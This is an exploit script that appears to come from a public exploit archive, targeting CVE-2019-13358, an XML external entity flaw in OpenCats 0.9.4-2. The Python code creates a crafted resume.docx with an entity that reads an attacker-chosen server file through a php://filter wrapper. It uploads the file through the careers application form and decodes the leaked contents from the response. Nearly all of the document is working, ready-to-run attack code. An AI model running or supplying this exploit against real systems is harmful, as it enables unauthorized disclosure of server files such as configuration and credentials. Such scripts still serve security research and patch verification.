1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 |
# Exploit Title: OpenCats 0.9.4-2 - 'docx ' XML External Entity Injection (XXE) # Date: 2021-09-20 # Exploit Author: Jake Ruston # Vendor Homepage: https://opencats.org # Software Link: https://github.com/opencats/OpenCATS/releases/download/0.9.4-2/opencats-0.9.4-2-full.zip # Version: < 0.9.4-3 # Tested on: Linux # CVE: 2019-13358 from argparse import ArgumentParser from docx import Document from zipfile import ZipFile from base64 import b64decode import requests import re xml = """ <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE root [<!ENTITY file SYSTEM 'php://filter/convert.base64-encode/resource={}'>]> <w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mo="http://schemas.microsoft.com/office/mac/office/2008/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:mv="urn:schemas-microsoft-com:mac:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14"> <w:body> <w:p> <w:r> <w:t>START&file;END</w:t> </w:r> </w:p> <w:sectPr w:rsidR="00FC693F" w:rsidRPr="0006063C" w:rsidSect="00034616"> <w:pgSz w:w="12240" w:h="15840"/> <w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="720" w:footer="720" w:gutter="0"/> <w:cols w:space="720"/> <w:docGrid w:linePitch="360"/> </w:sectPr> </w:body> </w:document> """ class CVE_2019_13358: def __init__(self): self.args = self.parse_arguments() def parse_arguments(self): parser = ArgumentParser() required = parser.add_argument_group("required arguments") required.add_argument("--url", help="the URL where OpenCATS is hosted", required=True) required.add_argument("--file", help="the remote file to read", required=True) args = parser.parse_args() if not args.url.startswith("http"): args.url = f"http://{args.url}" args.url = f"{args.url}/careers/index.php" return args def create_resume(self): document = Document() document.add_paragraph() document.save("resume.docx") def update_resume(self): with ZipFile("resume.docx", "r") as resume: resume.extractall() with open("word/document.xml", "w") as document: document.write(xml.format(self.args.file).strip()) with ZipFile("resume.docx", "w") as resume: resume.write("word/document.xml") def get(self): params = { "m": "careers", "p": "showAll" } try: request = requests.get(self.args.url, params=params) except Exception as e: raise Exception("Failed to GET to the URL provided", e) id = re.search(r"ID=([0-9])*", request.text) if id is None: raise Exception("No vacancies were found") return id.group(1) def post(self, id): params = { "m": "careers", "p": "onApplyToJobOrder" } files = { "ID": (None, id), "candidateID": (None, -1), "applyToJobSubAction": (None, "resumeLoad"), "file": (None, ""), "resumeFile": open("resume.docx", "rb"), "resumeContents": (None, ""), "firstName": (None, ""), "lastName": (None, ""), "email": (None, ""), "emailconfirm": (None, ""), "phoneHome": (None, ""), "phoneCell": (None, ""), "phone": (None, ""), "bestTimeToCall": (None, ""), "address": (None, ""), "city": (None, ""), "state": (None, ""), "zip": (None, ""), "keySkills": (None, "") } try: request = requests.post(self.args.url, params=params, files=files) except Exception as e: raise Exception("Failed to POST to the URL provided", e) start = request.text.find("START") end = request.text.find("END") file = request.text[start + 5:end].strip() try: file = b64decode(file) file = file.decode("ascii").strip() except: raise Exception("File not found") print(file) def run(self): self.create_resume() self.update_resume() id = self.get() self.post(id) CVE_2019_13358().run() |